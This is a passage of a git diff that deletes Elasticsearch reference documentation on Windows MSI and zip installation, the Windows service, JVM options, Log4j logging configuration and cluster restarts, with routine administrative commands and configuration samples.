-service after installation. Most changes (like JVM settings) will require a restart of the
-service in order to take effect.
-
-[[upgrade-msi-gui]]
-==== Upgrade using the graphical user interface (GUI)
-
-The `.msi` package supports upgrading an installed version of Elasticsearch to a newer
-version. The upgrade process through the GUI handles upgrading all
-installed plugins as well as retaining both your data and configuration.
-
-Downloading and double-clicking on a newer version of the `.msi` package will launch the GUI wizard.
-The first step will list the read-only properties from the previous installation:
-
-[[msi-installer-upgrade-notice]]
-image::images/msi_installer/msi_installer_upgrade_notice.png[]
-
-The next step allows certain configuration options to be changed:
-
-[[msi-installer-upgrade-configuration]]
-image::images/msi_installer/msi_installer_upgrade_configuration.png[]
-
-Finally, the plugins step allows currently installed plugins to be upgraded or removed, and
-for plugins not currently installed, to be downloaded and installed:
-
-[[msi-installer-upgrade-plugins]]
-image::images/msi_installer/msi_installer_upgrade_plugins.png[]
-
-[[upgrade-msi-command-line]]
-==== Upgrade using the command line
-
-The `.msi` can also upgrade Elasticsearch using the command line.
-
-[IMPORTANT]
-===========================================
-A command line upgrade requires passing the **same** command line properties as
-used at first install time; the Windows Installer does not remember these properties.
-
-For example, if you originally installed with the command line options `PLUGINS="ingest-geoip"` and
-`LOCKMEMORY="true"`, then you must pass these same values when performing an
-upgrade from the command line.
-
-The **exception** to this is the `INSTALLDIR` parameter (if originally specified), which must be a different directory to the
-current installation.
-If setting `INSTALLDIR`, the final directory in the path **must** be the version of Elasticsearch e.g.
-
-++C:\Program Files\Elastic\Elasticsearch{backslash}{version}++
-===========================================
-
-The simplest upgrade, assuming Elasticsearch was installed using all defaults,
-is achieved by first navigating to the download directory, then running:
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------
-start /wait msiexec.exe /i elasticsearch-{version}.msi /qn
---------------------------------------------
-
-Similar to the install process, a path to a log file for the upgrade process can
-be passed using the `/l` command line argument
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------
-start /wait msiexec.exe /i elasticsearch-{version}.msi /qn /l upgrade.log
---------------------------------------------
-
-[[uninstall-msi-gui]]
-==== Uninstall using Add/Remove Programs
-
-The `.msi` package handles uninstallation of all directories and files added as part of installation.
-
-WARNING: Uninstallation will remove **all** contents created as part of
-installation, **except for data, config or logs directories**. It is recommended that you make a copy of your data directory before upgrading or consider using the snapshot API.
-
-MSI installer packages do not provide a GUI for uninstallation. An installed program can be uninstalled
-by pressing the Windows key and typing `add or remove programs` to open the system settings.
-
-Once opened, find the Elasticsearch installation within the list of installed applications, click
-and choose `Uninstall`:
-
-[[msi-installer-uninstall]]
-image::images/msi_installer/msi_installer_uninstall.png[]
-
-This will launch the uninstallation process.
-
-[[uninstall-msi-command-line]]
-==== Uninstall using the command line
-
-Uninstallation can also be performed from the command line by navigating to the directory
-containing the `.msi` package and running:
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------
-start /wait msiexec.exe /x elasticsearch-{version}.msi /qn
---------------------------------------------
-
-Similar to the install process, a path to a log file for the uninstallation process can
-be passed using the `/l` command line argument
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------
-start /wait msiexec.exe /x elasticsearch-{version}.msi /qn /l uninstall.log
---------------------------------------------
-
-include::next-steps.asciidoc[]
diff --git a/docs/reference/setup/install/xpack-indices.asciidoc b/docs/reference/setup/install/xpack-indices.asciidoc
deleted file mode 100644
index 92f404ebb14..00000000000
--- a/docs/reference/setup/install/xpack-indices.asciidoc
+++ /dev/null
@@ -1,21 +0,0 @@
-Some commercial features automatically create indices within {es}.
-By default, {es} is configured to allow automatic index creation, and no
-additional steps are required. However, if you have disabled automatic index
-creation in {es}, you must configure
-<<index-creation,`action.auto_create_index`>> in `elasticsearch.yml` to allow
-the commercial features to create the following indices:
-
-[source,yaml]
------------------------------------------------------------
-action.auto_create_index: .monitoring*,.watches,.triggered_watches,.watcher-history*,.ml*
------------------------------------------------------------
-
-[IMPORTANT]
-=============================================================================
-If you are using https://www.elastic.co/products/logstash[Logstash]
-or https://www.elastic.co/products/beats[Beats] then you will most likely
-require additional index names in your `action.auto_create_index` setting, and
-the exact value will depend on your local configuration. If you are unsure of
-the correct value for your environment, you may consider setting the value to
- `*` which will allow automatic creation of all indices.
-=============================================================================
diff --git a/docs/reference/setup/install/zip-windows-start.asciidoc b/docs/reference/setup/install/zip-windows-start.asciidoc
deleted file mode 100644
index 718259e4b77..00000000000
--- a/docs/reference/setup/install/zip-windows-start.asciidoc
+++ /dev/null
@@ -1,14 +0,0 @@
-==== Running Elasticsearch from the command line
-
-Elasticsearch can be started from the command line as follows:
-
-[source,sh]
---------------------------------------------
-.\bin\elasticsearch.bat
---------------------------------------------
-
-If you have password-protected the {es} keystore, you will be prompted to
-enter the keystore's password. See <<secure-settings>> for more details.
-
-By default, Elasticsearch runs in the foreground, prints its logs to `STDOUT`,
-and can be stopped by pressing `Ctrl-C`.
diff --git a/docs/reference/setup/install/zip-windows.asciidoc b/docs/reference/setup/install/zip-windows.asciidoc
deleted file mode 100644
index 96954fdad10..00000000000
--- a/docs/reference/setup/install/zip-windows.asciidoc
+++ /dev/null
@@ -1,284 +0,0 @@
-[[zip-windows]]
-=== Install Elasticsearch with `.zip` on Windows
-
-Elasticsearch can be installed on Windows using the Windows `.zip` archive.  This
-comes with a `elasticsearch-service.bat` command which will setup Elasticsearch to run as a
-service.
-
-TIP: Elasticsearch has historically been installed on Windows using the `.zip` archive.
-An <<windows, MSI installer package>> is available that provides the easiest getting started
-experience for Windows. You can continue using the `.zip` approach if you prefer.
-
-include::license.asciidoc[]
-
-NOTE: On Windows the Elasticsearch {ml} feature requires the Microsoft Universal
-C Runtime library. This is built into Windows 10, Windows Server 2016 and more
-recent versions of Windows. For older versions of Windows it can be installed
-via Windows Update, or from a
-https://support.microsoft.com/en-us/help/2999226/update-for-universal-c-runtime-in-windows[separate download].
-If you cannot install the Microsoft Universal C Runtime library you can still
-use the rest of Elasticsearch if you disable the {ml} feature.
-
-The latest stable version of Elasticsearch can be found on the
-link:/downloads/elasticsearch[Download Elasticsearch] page.
-Other versions can be found on the
-link:/downloads/past-releases[Past Releases page].
-
-NOTE: Elasticsearch includes a bundled version of https://openjdk.java.net[OpenJDK]
-from the JDK maintainers (GPLv2+CE). To use your own version of Java,
-see the <<jvm-version, JVM version requirements>>
-
-[[install-windows]]
-==== Download and install the `.zip` package
-
-ifeval::["{release-state}"=="unreleased"]
-
-Version {version} of Elasticsearch has not yet been released.
-
-endif::[]
-
-ifeval::["{release-state}"!="unreleased"]
-
-Download the `.zip` archive for Elasticsearch v{version} from: https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-{version}-windows-x86_64.zip
-
-Alternatively, you can download the following package, which contains only 
-features that are available under the Apache 2.0 license: 
-https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-oss-{version}-windows-x86_64.zip
-
-Unzip it with your favourite unzip tool.  This will create a folder called
-+elasticsearch-{version}+, which we will refer to as `%ES_HOME%`. In a terminal
-window, `cd` to the `%ES_HOME%` directory, for instance:
-
-["source","sh",subs="attributes"]
-----------------------------
-cd c:\elasticsearch-{version}
-----------------------------
-
-endif::[]
-
-ifdef::include-xpack[]
-[role="xpack"]
-[[windows-enable-indices]]
-==== Enable automatic creation of system indices
-
-include::xpack-indices.asciidoc[]
-
-endif::include-xpack[]
-
-[[windows-running]]
-include::zip-windows-start.asciidoc[]
-
-[[windows-configuring]]
-==== Configuring Elasticsearch on the command line
-
-Elasticsearch loads its configuration from the `%ES_HOME%\config\elasticsearch.yml`
-file by default.  The format of this config file is explained in
-<<settings>>.
-
-Any settings that can be specified in the config file can also be specified on
-the command line, using the `-E` syntax as follows:
-
-[source,sh]
---------------------------------------------
-.\bin\elasticsearch.bat -Ecluster.name=my_cluster -Enode.name=node_1
---------------------------------------------
-
-NOTE: Values that contain spaces must be surrounded with quotes.  For instance `-Epath.logs="C:\My Logs\logs"`.
-
-TIP: Typically, any cluster-wide settings (like `cluster.name`) should be
-added to the `elasticsearch.yml` config file, while any node-specific settings
-such as `node.name` could be specified on the command line.
-
-include::check-running.asciidoc[]
-
-[[windows-service]]
-==== Installing Elasticsearch as a Service on Windows
-
-Elasticsearch can be installed as a service to run in the background or start
-automatically at boot time without any user interaction. This can be achieved
-through the `elasticsearch-service.bat` script in the `bin\` folder which allows one to
-install, remove, manage or configure the service and potentially start and
-stop the service, all from the command-line.
-
-["source","sh",subs="attributes,callouts"]
---------------------------------------------------
-c:\elasticsearch-{version}{backslash}bin>elasticsearch-service.bat
-
-Usage: elasticsearch-service.bat install|remove|start|stop|manager [SERVICE_ID]
---------------------------------------------------
-
-The script requires one parameter (the command to execute) followed by an
-optional one indicating the service id (useful when installing multiple
-Elasticsearch services).
-
-The commands available are:
-
-[horizontal]
-`install`:: Install Elasticsearch as a service
-
-`remove`:: Remove the installed Elasticsearch service (and stop the service if started)
-
-`start`:: Start the Elasticsearch service (if installed)
-
-`stop`:: Stop the Elasticsearch service (if started)
-
-`manager`:: Start a GUI for managing the installed service
-
-The name of the service and the value of `JAVA_HOME` will be made available during install:
-
-["source","sh",subs="attributes"]
---------------------------------------------------
-c:\elasticsearch-{version}{backslash}bin>elasticsearch-service.bat install
-Installing service      :  "elasticsearch-service-x64"
-Using JAVA_HOME (64-bit):  "c:\jvm\jdk1.8"
-The service 'elasticsearch-service-x64' has been installed.
---------------------------------------------------
-
-NOTE: While a JRE can be used for the Elasticsearch service, due to its use of a client VM (as opposed to a server JVM which offers better performance for long-running applications) its usage is discouraged and a warning will be issued.
-
-NOTE: The system environment variable `JAVA_HOME` should be set to the path to
-the JDK installation that you want the service to use. If you upgrade the JDK,
-you are not required to the reinstall the service but you must set the value of
-the system environment variable `JAVA_HOME` to the path to the new JDK
-installation. However, upgrading across JVM types (e.g. JRE versus SE) is not
-supported, and does require the service to be reinstalled.
-
-[[windows-service-settings]]
-[discrete]
-=== Customizing service settings
-
-The Elasticsearch service can be configured prior to installation by setting the following environment variables (either using the https://technet.microsoft.com/en-us/library/cc754250(v=ws.10).aspx[set command] from the command line, or through the `System Properties->Environment Variables` GUI).
-
-[horizontal]
-`SERVICE_ID`::
-
-  A unique identifier for the service. Useful if installing multiple instances
-  on the same machine. Defaults to `elasticsearch-service-x64`.
-
-`SERVICE_USERNAME`::
-
-  The user to run as, defaults to the local system account.
-
-`SERVICE_PASSWORD`::
-
-  The password for the user specified in `%SERVICE_USERNAME%`.
-
-`SERVICE_DISPLAY_NAME`::
-
-  The name of the service.  Defaults to `Elasticsearch <version> %SERVICE_ID%`.
-
-`SERVICE_DESCRIPTION`::
-
-  The description of the service.  Defaults to `Elasticsearch <version> Windows Service - https://elastic.co`.
-
-`JAVA_HOME`::
-
-  The installation directory of the desired JVM to run the service under.
-
-`SERVICE_LOG_DIR`::
-
-    Service log directory, defaults to `%ES_HOME%\logs`. Note that this does
-    not control the path for the Elasticsearch logs; the path for these is set
-    via the setting `path.logs` in the `elasticsearch.yml` configuration file,
-    or on the command line.
-
-`ES_PATH_CONF`::
-
-    Configuration file directory (which needs to include `elasticsearch.yml`,
-    `jvm.options`, and `log4j2.properties` files), defaults to
-    `%ES_HOME%\config`.
-
-`ES_JAVA_OPTS`::
-
-    Any additional JVM system properties you may want to apply.
-
-`ES_START_TYPE`::
-
-    Startup mode for the service.  Can be either `auto` or `manual` (default).
-
-`ES_STOP_TIMEOUT` ::
-
-  The timeout in seconds that procrun waits for service to exit gracefully.  Defaults to `0`.
-
-NOTE: At its core, `elasticsearch-service.bat` relies on https://commons.apache.org/proper/commons-daemon/[Apache Commons Daemon] project
-to install the service. Environment variables set prior to the service installation are copied and will be used during the service lifecycle. This means any changes made to them after the installation will not be picked up unless the service is reinstalled.
-
-NOTE: On Windows, the <<heap-size,heap size>> can be configured as for
-any other Elasticsearch installation when running Elasticsearch from the
-command line, or when installing Elasticsearch as a service for the
-first time. To adjust the heap size for an already installed service,
-use the service manager: `bin\elasticsearch-service.bat manager`.
-
-NOTE: The service automatically configures a private temporary directory for use
-by Elasticsearch when it is running. This private temporary directory is
-configured as a sub-directory of the private temporary directory for the user
-running the installation. If the service will run under a different user, you
-can configure the location of the temporary directory that the service should
-use by setting the environment variable `ES_TMPDIR` to the preferred location
-before you execute the service installation.
-
-Using the Manager GUI::
-
-It is also possible to configure the service after it's been installed using the manager GUI (`elasticsearch-service-mgr.exe`), which offers insight into the installed service, including its status, startup type, JVM, start and stop settings amongst other things.  Simply invoking `elasticsearch-service.bat manager` from the command-line will open up the manager window:
-
-image::images/service-manager-win.png["Windows Service Manager GUI",align="center"]
-
-Most changes (like JVM settings) made through the manager GUI will require a restart of the service in order to take affect.
-
-[[windows-layout]]
-==== Directory layout of `.zip` archive
-
-The `.zip` package is entirely self-contained. All files and directories are,
-by default, contained within `%ES_HOME%` -- the directory created when
-unpacking the archive.
-
-This is very convenient because you don't have to create any directories to
-start using Elasticsearch, and uninstalling Elasticsearch is as easy as
-removing the `%ES_HOME%` directory.  However, it is advisable to change the
-default locations of the config directory, the data directory, and the logs
-directory so that you do not delete important data later on.
-
-
-[cols="<h,<,<m,<m",options="header",]
-|=======================================================================
-| Type | Description | Default Location | Setting
-| home
-  | Elasticsearch home directory or `%ES_HOME%`
- d| Directory created by unpacking the archive
-  |
-
-| bin
-  | Binary scripts including `elasticsearch` to start a node
-    and `elasticsearch-plugin` to install plugins
-  | %ES_HOME%\bin
- d|
-
-| conf
-  | Configuration files including `elasticsearch.yml`
-  | %ES_HOME%\config
-  | <<config-files-location,ES_PATH_CONF>>
-
-| data
-  | The location of the data files of each index / shard allocated
-    on the node. Can hold multiple locations.
-  | %ES_HOME%\data
-  | path.data
-
-| logs
-  | Log files location.
-  | %ES_HOME%\logs
-  | path.logs
-
-| plugins
-  | Plugin files location. Each plugin will be contained in a subdirectory.
-  | %ES_HOME%\plugins
-  |
-
-| repo
-  | Shared file system repository locations. Can hold multiple locations. A file system repository can be placed in to any subdirectory of any directory specified here.
- d| Not configured
-  | path.repo
-
-|=======================================================================
-
-include::next-steps.asciidoc[]
diff --git a/docs/reference/setup/jvm-options.asciidoc b/docs/reference/setup/jvm-options.asciidoc
deleted file mode 100644
index c07119639bf..00000000000
--- a/docs/reference/setup/jvm-options.asciidoc
+++ /dev/null
@@ -1,90 +0,0 @@
-[[jvm-options]]
-=== Setting JVM options
-
-You should rarely need to change Java Virtual Machine (JVM) options. If you do,
-the most likely change is setting the <<heap-size,heap size>>. The remainder of
-this document explains in detail how to set JVM options. You can set options
-either with `jvm.options` files or with the `ES_JAVA_OPTS` environment variable.
-
-The preferred method of setting or overriding JVM options is via JVM options
-files. When installing from the tar or zip distributions, the root `jvm.options`
-configuration file is `config/jvm.options` and custom JVM options files can be
-added to `config/jvm.options.d/`. When installing from the Debian or RPM
-packages, the root `jvm.options` configuration file is
-`/etc/elasticsearch/jvm.options` and custom JVM options files can be added to
-`/etc/elasticsearch/jvm.options.d/`. When using the <<docker, Docker
-distribution of {es}>> you can bind mount custom JVM options files into
-`/usr/share/elasticsearch/config/jvm.options.d/`. You should never need to
-modify the root `jvm.options` file instead preferring to use custom JVM options
-files. The processing ordering of custom JVM options is lexicographic.
-
-JVM options files must have the suffix '.options' and contain a line-delimited
-list of JVM arguments following a special syntax:
-
-* lines consisting of whitespace only are ignored
-* lines beginning with `#` are treated as comments and are ignored
-+
-[source,text]
--------------------------------------
-# this is a comment
--------------------------------------
-
-* lines beginning with a `-` are treated as a JVM option that applies
-  independent of the version of the JVM
-+
-[source,text]
--------------------------------------
--Xmx2g
--------------------------------------
-
-* lines beginning with a number followed by a `:` followed by a `-` are treated
-  as a JVM option that applies only if the version of the JVM matches the number
-+
-[source,text]
--------------------------------------
-8:-Xmx2g
--------------------------------------
-
-* lines beginning with a number followed by a `-` followed by a `:` are treated
-  as a JVM option that applies only if the version of the JVM is greater than or
-  equal to the number
-+
-[source,text]
--------------------------------------
-8-:-Xmx2g
--------------------------------------
-
-* lines beginning with a number followed by a `-` followed by a number followed
-  by a `:` are treated as a JVM option that applies only if the version of the
-  JVM falls in the range of the two numbers
-+
-[source,text]
--------------------------------------
-8-9:-Xmx2g
--------------------------------------
-
-* all other lines are rejected
-
-An alternative mechanism for setting Java Virtual Machine options is via the
-`ES_JAVA_OPTS` environment variable. For instance:
-
-[source,sh]
----------------------------------
-export ES_JAVA_OPTS="$ES_JAVA_OPTS -Djava.io.tmpdir=/path/to/temp/dir"
-./bin/elasticsearch
----------------------------------
-
-When using the RPM or Debian packages, `ES_JAVA_OPTS` can be specified in the
-<<sysconfig,system configuration file>>.
-
-The JVM has a built-in mechanism for observing the `JAVA_TOOL_OPTIONS`
-environment variable. We intentionally ignore this environment variable in our
-packaging scripts. The primary reason for this is that on some OS (e.g., Ubuntu)
-there are agents installed by default via this environment variable that we do
-not want interfering with {es}.
-
-Additionally, some other Java programs support the `JAVA_OPTS` environment
-variable. This is *not* a mechanism built into the JVM but instead a convention
-in the ecosystem. However, we do not support this environment variable, instead
-supporting setting JVM options via the `jvm.options` file or the environment
-variable `ES_JAVA_OPTS` as above.
diff --git a/docs/reference/setup/logging-config.asciidoc b/docs/reference/setup/logging-config.asciidoc
deleted file mode 100644
index 1a4e8e88667..00000000000
--- a/docs/reference/setup/logging-config.asciidoc
+++ /dev/null
@@ -1,275 +0,0 @@
-[[logging]]
-=== Logging
-
-include::{es-repo-dir}/tab-widgets/code.asciidoc[]
-
-You can use {es}'s application logs to monitor your cluster and diagnose issues.
-If you run {es} as a service, the default location of the logs varies based on
-your platform and installation method:
-
-include::{es-repo-dir}/tab-widgets/logging-widget.asciidoc[]
-
-If you run {es} from the command line, {es} prints logs to the standard output
-(`stdout`).
-
-[discrete]
-[[loggin-configuration]]
-=== Logging configuration
-
-Elasticsearch uses https://logging.apache.org/log4j/2.x/[Log4j 2] for
-logging. Log4j 2 can be configured using the log4j2.properties
-file. Elasticsearch exposes three properties, `${sys:es.logs.base_path}`,
-`${sys:es.logs.cluster_name}`, and `${sys:es.logs.node_name}` that can be
-referenced in the configuration file to determine the location of the log
-files. The property `${sys:es.logs.base_path}` will resolve to the log directory,
-`${sys:es.logs.cluster_name}` will resolve to the cluster name (used as the
-prefix of log filenames in the default configuration), and
-`${sys:es.logs.node_name}` will resolve to the node name (if the node name is
-explicitly set).
-
-For example, if your log directory (`path.logs`) is `/var/log/elasticsearch` and
-your cluster is named `production` then `${sys:es.logs.base_path}` will resolve
-to `/var/log/elasticsearch` and
-`${sys:es.logs.base_path}${sys:file.separator}${sys:es.logs.cluster_name}.log`
-will resolve to `/var/log/elasticsearch/production.log`.
-
-[source,properties]
---------------------------------------------------
-######## Server JSON ############################
-appender.rolling.type = RollingFile <1>
-appender.rolling.name = rolling
-appender.rolling.fileName = ${sys:es.logs.base_path}${sys:file.separator}${sys:es.logs.cluster_name}_server.json <2>
-appender.rolling.layout.type = ESJsonLayout <3>
-appender.rolling.layout.type_name = server <4>
-appender.rolling.filePattern = ${sys:es.logs.base_path}${sys:file.separator}${sys:es.logs.cluster_name}-%d{yyyy-MM-dd}-%i.json.gz <5>
-appender.rolling.policies.type = Policies
-appender.rolling.policies.time.type = TimeBasedTriggeringPolicy <6>
-appender.rolling.policies.time.interval = 1 <7>
-appender.rolling.policies.time.modulate = true <8>
-appender.rolling.policies.size.type = SizeBasedTriggeringPolicy <9>
-appender.rolling.policies.size.size = 256MB <10>
-appender.rolling.strategy.type = DefaultRolloverStrategy
-appender.rolling.strategy.fileIndex = nomax
-appender.rolling.strategy.action.type = Delete <11>
-appender.rolling.strategy.action.basepath = ${sys:es.logs.base_path}
-appender.rolling.strategy.action.condition.type = IfFileName <12>
-appender.rolling.strategy.action.condition.glob = ${sys:es.logs.cluster_name}-* <13>
-appender.rolling.strategy.action.condition.nested_condition.type = IfAccumulatedFileSize <14>
-appender.rolling.strategy.action.condition.nested_condition.exceeds = 2GB <15>
-################################################
---------------------------------------------------
-
-<1> Configure the `RollingFile` appender
-<2> Log to `/var/log/elasticsearch/production_server.json`
-<3> Use JSON layout.
-<4> `type_name` is a flag populating the `type` field in a `ESJsonLayout`.
- It can be used to distinguish different types of logs more easily when parsing them.
-<5> Roll logs to `/var/log/elasticsearch/production-yyyy-MM-dd-i.json`; logs
-    will be compressed on each roll and `i` will be incremented
-<6> Use a time-based roll policy
-<7> Roll logs on a daily basis
-<8> Align rolls on the day boundary (as opposed to rolling every twenty-four
-    hours)
-<9> Using a size-based roll policy
-<10> Roll logs after 256 MB
-<11> Use a delete action when rolling logs
-<12> Only delete logs matching a file pattern
-<13> The pattern is to only delete the main logs
-<14> Only delete if we have accumulated too many compressed logs
-<15> The size condition on the compressed logs is 2 GB
-
-[source,properties]
---------------------------------------------------
-######## Server -  old style pattern ###########
-appender.rolling_old.type = RollingFile
-appender.rolling_old.name = rolling_old
-appender.rolling_old.fileName = ${sys:es.logs.base_path}${sys:file.separator}${sys:es.logs.cluster_name}_server.log <1>
-appender.rolling_old.layout.type = PatternLayout
-appender.rolling_old.layout.pattern = [%d{ISO8601}][%-5p][%-25c{1.}] [%node_name]%marker %m%n
-appender.rolling_old.filePattern = ${sys:es.logs.base_path}${sys:file.separator}${sys:es.logs.cluster_name}-%d{yyyy-MM-dd}-%i.old_log.gz
-
---------------------------------------------------
-<1> The configuration for `old style` pattern appenders. These logs will be saved in `*.log` files and if archived will be in `*
-.log.gz` files. Note that these should be considered deprecated and will be removed in the future.
-
-NOTE: Log4j's configuration parsing gets confused by any extraneous whitespace;
-if you copy and paste any Log4j settings on this page, or enter any Log4j
-configuration in general, be sure to trim any leading and trailing whitespace.
-
-Note than you can replace `.gz` by `.zip` in `appender.rolling.filePattern` to
-compress the rolled logs using the zip format. If you remove the `.gz`
-extension then logs will not be compressed as they are rolled.
-
-If you want to retain log files for a specified period of time, you can use a
-rollover strategy with a delete action.
-
-[source,properties]
---------------------------------------------------
-appender.rolling.strategy.type = DefaultRolloverStrategy <1>
-appender.rolling.strategy.action.type = Delete <2>
-appender.rolling.strategy.action.basepath = ${sys:es.logs.base_path} <3>
-appender.rolling.strategy.action.condition.type = IfFileName <4>
-appender.rolling.strategy.action.condition.glob = ${sys:es.logs.cluster_name}-* <5>
-appender.rolling.strategy.action.condition.nested_condition.type = IfLastModified <6>
-appender.rolling.strategy.action.condition.nested_condition.age = 7D <7>
---------------------------------------------------
-
-<1> Configure the `DefaultRolloverStrategy`
-<2> Configure the `Delete` action for handling rollovers
-<3> The base path to the Elasticsearch logs
-<4> The condition to apply when handling rollovers
-<5> Delete files from the base path matching the glob
-    `${sys:es.logs.cluster_name}-*`; this is the glob that log files are rolled
-    to; this is needed to only delete the rolled Elasticsearch logs but not also
-    delete the deprecation and slow logs
-<6> A nested condition to apply to files matching the glob
-<7> Retain logs for seven days
-
-Multiple configuration files can be loaded (in which case they will get merged)
-as long as they are named `log4j2.properties` and have the Elasticsearch config
-directory as an ancestor; this is useful for plugins that expose additional
-loggers. The logger section contains the java packages and their corresponding
-log level. The appender section contains the destinations for the logs.
-Extensive information on how to customize logging and all the supported
-appenders can be found on the
-https://logging.apache.org/log4j/2.x/manual/configuration.html[Log4j
-documentation].
-
-[discrete]
-[[configuring-logging-levels]]
-=== Configuring logging levels
-
-Each Java package in the {es-repo}[{es} source code] has a related logger. For
-example, the `org.elasticsearch.discovery` package has
-`logger.org.elasticsearch.discovery` for logs related to the
-<<modules-discovery-hosts-providers,discovery>> process.
-
-To get more or less verbose logs, use the <<cluster-update-settings,cluster
-update settings API>> to change the related logger's log level. Each logger
-accepts Log4j 2's built-in log levels, from least to most verbose: `OFF`,
-`FATAL`, `ERROR`, `WARN`, `INFO`, `DEBUG`, and `TRACE`. The default log level is
-`INFO`. Messages logged at higher verbosity levels (`DEBUG` and `TRACE`) are
-only intended for expert use.
-
-[source,console]
-----
-PUT /_cluster/settings
-{
-  "transient": {
-    "logger.org.elasticsearch.discovery": "DEBUG"
-  }
-}
-----
-
-Other ways to change log levels include:
-
-1. `elasticsearch.yml`:
-+
---
-[source,yaml]
-----
-logger.org.elasticsearch.discovery: DEBUG
-----
-
-This is most appropriate when debugging a problem on a single node.
---
-
-2. `log4j2.properties`:
-+
---
-[source,properties]
-----
-logger.discovery.name = org.elasticsearch.discovery
-logger.discovery.level = debug
-----
-
-This is most appropriate when you already need to change your Log4j 2
-configuration for other reasons. For example, you may want to send logs for a
-particular logger to another file. However, these use cases are rare.
---
-
-[discrete]
-[[deprecation-logging]]
-=== Deprecation logging
-
-In addition to regular logging, Elasticsearch allows you to enable logging
-of deprecated actions. For example this allows you to determine early, if
-you need to migrate certain functionality in the future. By default,
-deprecation logging is enabled at the WARN level, the level at which all
-deprecation log messages will be emitted.
-
-[source,properties]
---------------------------------------------------
-logger.deprecation.level = warn
---------------------------------------------------
-
-This will create a daily rolling deprecation log file in your log directory.
-Check this file regularly, especially when you intend to upgrade to a new
-major version.
-
-The default logging configuration has set the roll policy for the deprecation
-logs to roll and compress after 1 GB, and to preserve a maximum of five log
-files (four rolled logs, and the active log).
-
-You can disable it in the `config/log4j2.properties` file by setting the deprecation
-log level to `error` like this:
-[source,properties]
---------------------------------------------------
-logger.deprecation.name = org.elasticsearch.deprecation
-logger.deprecation.level = error
---------------------------------------------------
-
-
-You can identify what is triggering deprecated functionality if `X-Opaque-Id` was used as an HTTP header.
-The user ID is included in the `X-Opaque-ID` field in deprecation JSON logs.
-
-[source,js]
----------------------------
-{
-  "type": "deprecation",
-  "timestamp": "2019-08-30T12:07:07,126+02:00",
-  "level": "WARN",
-  "component": "o.e.d.r.a.a.i.RestCreateIndexAction",
-  "cluster.name": "distribution_run",
-  "node.name": "node-0",
-  "message": "[types removal] Using include_type_name in create index requests is deprecated. The parameter will be removed in the next major version.",
-  "x-opaque-id": "MY_USER_ID",
-  "cluster.uuid": "Aq-c-PAeQiK3tfBYtig9Bw",
-  "node.id": "D7fUYfnfTLa2D7y-xw6tZg"
-}
----------------------------
-// NOTCONSOLE
-
-[discrete]
-[[json-logging]]
-=== JSON log format
-
-To make parsing Elasticsearch logs easier, logs are now printed in a JSON format.
-This is configured by a Log4J layout property `appender.rolling.layout.type = ESJsonLayout`.
-This layout requires a `type_name` attribute to be set which is used to distinguish
-logs streams when parsing.
-[source,properties]
---------------------------------------------------
-appender.rolling.layout.type = ESJsonLayout
-appender.rolling.layout.type_name = server
---------------------------------------------------
-:es-json-layout-java-doc: {elasticsearch-javadoc}/org/elasticsearch/common/logging/ESJsonLayout.html
-
-Each line contains a single JSON document with the properties configured in `ESJsonLayout`.
-See this class {es-json-layout-java-doc}[javadoc] for more details.
-However if a JSON document contains an exception, it will be printed over multiple lines.
-The first line will contain regular properties and subsequent lines will contain the
-stacktrace formatted as a JSON array.
-
-
-NOTE: You can still use your own custom layout. To do that replace the line
-`appender.rolling.layout.type` with a different layout. See sample below:
-[source,properties]
---------------------------------------------------
-appender.rolling.type = RollingFile
-appender.rolling.name = rolling
-appender.rolling.fileName = ${sys:es.logs.base_path}${sys:file.separator}${sys:es.logs.cluster_name}_server.log
-appender.rolling.layout.type = PatternLayout
-appender.rolling.layout.pattern = [%d{ISO8601}][%-5p][%-25c{1.}] [%node_name]%marker %.-10000m%n
-appender.rolling.filePattern = ${sys:es.logs.base_path}${sys:file.separator}${sys:es.logs.cluster_name}-%d{yyyy-MM-dd}-%i.log.gz
---------------------------------------------------
diff --git a/docs/reference/setup/restart-cluster.asciidoc b/docs/reference/setup/restart-cluster.asciidoc
deleted file mode 100644
index 3829665774f..00000000000
--- a/docs/reference/setup/restart-cluster.asciidoc
+++ /dev/null
@@ -1,233 +0,0 @@
-[[restart-cluster]]
-== Full-cluster restart and rolling restart
- 
-There may be {ref}/configuring-tls.html#tls-transport[situations where you want 
-to perform a full-cluster restart] or a rolling restart. In the case of 
-<<restart-cluster-full,full-cluster restart>>, you shut down and restart all the 
-nodes in the cluster while in the case of 
-<<restart-cluster-rolling,rolling restart>>, you shut down only one node at a 
-time, so the service remains uninterrupted.
-
-
-[discrete]
-[[restart-cluster-full]]
-=== Full-cluster restart
-
-// tag::disable_shard_alloc[]
-. *Disable shard allocation.*
-+
---
-include::{es-repo-dir}/upgrade/disable-shard-alloc.asciidoc[]
---
-// end::disable_shard_alloc[]
-// tag::stop_indexing[]
-. *Stop indexing and perform a synced flush.*
-+
---
-Performing a <<indices-synced-flush-api, synced-flush>> speeds up shard
-recovery.
-
-include::{es-repo-dir}/upgrade/synced-flush.asciidoc[]
---
-// end::stop_indexing[]
-//tag::stop_ml[]
-. *Temporarily stop the tasks associated with active {ml} jobs and {dfeeds}.* (Optional)
-+
---
-{ml-cap} features require specific {subscriptions}[subscriptions].
-
-You have two options to handle {ml} jobs and {dfeeds} when you shut down a 
-cluster:
-
-* Temporarily halt the tasks associated with your {ml} jobs and {dfeeds} and
-prevent new jobs from opening by using the 
-<<ml-set-upgrade-mode,set upgrade mode API>>:
-+
-[source,console]
---------------------------------------------------
-POST _ml/set_upgrade_mode?enabled=true
---------------------------------------------------
-// TEST
-+
-When you disable upgrade mode, the jobs resume using the last model state that 
-was automatically saved. This option avoids the overhead of managing active jobs 
-during the shutdown and is faster than explicitly stopping {dfeeds} and closing 
-jobs.
-
-* {ml-docs}/stopping-ml.html[Stop all {dfeeds} and close all jobs]. This option
-saves the model state at the time of closure. When you reopen the jobs after the
-cluster restart, they use the exact same model. However, saving the latest model 
-state takes longer than using upgrade mode, especially if you have a lot of jobs 
-or jobs with large model states.
---
-// end::stop_ml[]
-
-. *Shut down all nodes.*
-+
---
-include::{es-repo-dir}/upgrade/shut-down-node.asciidoc[]
---
-
-. *Perform any needed changes.*
-
-. *Restart nodes.*
-+
---
-If you have dedicated master nodes, start them first and wait for them to
-form a cluster and elect a master before proceeding with your data nodes.
-You can check progress by looking at the logs.
-
